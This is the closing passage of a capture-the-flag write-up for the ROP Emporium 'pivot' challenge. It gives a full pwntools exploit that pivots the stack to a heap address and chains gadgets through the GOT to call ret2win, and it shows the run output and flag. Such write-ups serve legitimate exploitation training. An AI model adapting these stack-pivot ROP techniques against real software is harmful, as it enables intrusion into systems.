ropchain2 += p64(foothold_got)
ropchain2 += p64(movrax)
ropchain2 += p64(poprbp)
ropchain2 += p64(0x14e)
ropchain2 += p64(addrax)
ropchain2 += p64(callrax)

The full exploit now looks like the following:

from pwn import *

# stack offset to overwrite rip
stack_offset = 40

# static elf offsets
foothold_plt = 0x00400850
foothold_got = 0x00602048
puts_plt = 0x00400800
main = 0x00400996

# gadgets
# -------
# 0x0000000000400b02: xchg rax, rsp; ret;
# 0x0000000000400b00: pop rax; ret;
# 0x0000000000400b05: mov rax, qword ptr [rax]; ret;
# 0x0000000000400b09: add rax, rbp; ret;
# 0x000000000040098e: call rax;
# 0x0000000000400900: pop rbp; ret;

callrax = 0x00040098e
poprbp = 0x000400900
addrax = 0x000400b09
movrax = 0x000400b05
xchgret = 0x000400b02
poprax = 0x000400b00

# run target
p = process("./pivot")

# wait for debugger
#pid = util.proc.pidof(p)[0]
#print "The pid is: "+str(pid)
#util.proc.wait_for_debugger(pid)

# process interaction
p.recvuntil("Call ret2win() from libpivot.so")

# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u64(unhex(heap_addr[2:]).rjust(8, '\x00'), endian='big')
log.info("Heap address: 0x%x" % heap_addr)

# construct ropchains
# stack pivot chain
ropchain =  p64(poprax)
ropchain += p64(heap_addr)
ropchain += p64(xchgret)

# main exploit chain in heap address
ropchain2 =  p64(foothold_plt)
ropchain2 += p64(poprax)
ropchain2 += p64(foothold_got)
ropchain2 += p64(movrax)
ropchain2 += p64(poprbp)
ropchain2 += p64(0x14e)
ropchain2 += p64(addrax)
ropchain2 += p64(callrax)

buffer = "A"*stack_offset + ropchain

# send pivoted ropchain to heap address
log.info("Sending second chain to heap address...")
p.recvuntil("Send your second chain now and it will land there")
p.sendline(ropchain2)

# send pivot buffer overflow
log.info("Sending stack smash and chain to pivot to the heap address...")
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

# read the foothold_function output
p.recvuntil("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so")

# receive flag
flag = p.recvall()
log.success("Got flag: "+flag)

Running it prints out the flag:

janne808@megatron:~/pwnwork/pivot$ python pivot64.py
[+] Starting local process './pivot': pid 8702
[*] Heap address: 0x7fed907a0f10
[*] Sending second chain to heap address...
[*] Sending stack smash and chain to pivot to the heap address...
[+] Receiving all data: Done (33B)
[*] Process './pivot' stopped with exit code 0 (pid 8702)
[+] Got flag: ROPE{a_placeholder_32byte_flag!}

Which means that we now have succesfully completed the CTF!

Conclusions

The walkthrough presented two different approaches, one for the 32-bit and 64-bit binaries, both resulting in succesful exploitation.

All-in-all, this is a good challenge to learn how to handle a stack pivoting case in the ROP chain scenario of exploit writing. The helper functionality of the binary is well designed to focus on the meat of the exploit.

I will be writing a few more ROPEmporium writeups in the near future. Stay tuned and happy hacking.